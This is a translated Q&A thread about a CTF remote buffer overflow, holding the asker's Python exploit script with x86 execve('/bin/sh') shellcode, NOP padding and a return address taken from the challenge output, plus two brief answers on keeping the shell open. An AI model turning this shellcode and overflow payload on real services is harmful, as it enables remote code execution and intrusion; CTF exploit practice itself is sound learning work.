使用 TCP 的缓冲区溢出漏洞不会使 shell 保持打开状态

Question

我为此 CTF 为远程计算机设计了一个缓冲区溢出漏洞利用程序。挑战会打印出一个地址，然后您必须使用该地址才能知道您的 shellcode 存储在哪里。附件是我当前的利用代码：

if len(sys.argv) != 3:
    print "Usage: %s host port" % (sys.argv[0])
    sys.exit(0)

s = socket.create_connection([sys.argv[1], int(sys.argv[2])])
recieved = s.recv(4096)
print(recieved)
#send 10 bytes of data
s.send("9999\n")
time.sleep(.2)
raw_input("EXPLOIT ?? ")

print s.recv(4096)

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 
pad = "\x90" * 251
IP = struct.pack("I",literal_eval(recieved[13:23]))
print("ADDR: ", recieved[13:23])
s.send(sh + pad + IP)

本质上，首先我要创建连接，然后发送一个输入，将程序引导到需要执行的位置，以便可以利用漏洞（与这个问题并不真正相关）

接下来我创建漏洞本身

基本前提是：

shellcode + padding + eip

eip 地址来自程序输出给我的地址（这就是我在 IP 变量中解析的内容）

该地址是缓冲区的开头，这是我的 shellcode 开始的位置，因此也是我要跳转到的位置。

我使用 socat 运行二进制文件，以便它与 CTF 服务器上托管的挑战相同。我使用 GDB 附加到该进程，然后运行我的漏洞利用程序。它成功了，但给出了以下输出：

process 2422 is executing new program: /usr/bin/dash
[Inferior 1 (process 2422) exited normally]
(gdb) 

我与该服务的连接已终止。

如果我使用本地二进制文件运行它，我会使用 (python file.py ; cat - ;) | ./program 来保持流打开，但这不是一个选项，因为我需要程序输出的内容并且必须远程执行。我也尝试过使用 Telnet，但程序只是挂起并且没有任何反应。

Answer 1

通过 tmux 运行漏洞利用脚本对我有用。

Answer 2

要生成 shell /bin/sh，您应该在 EIP 之后添加返回地址，如下所示

循环（偏移）+return_address+/bin/sh_address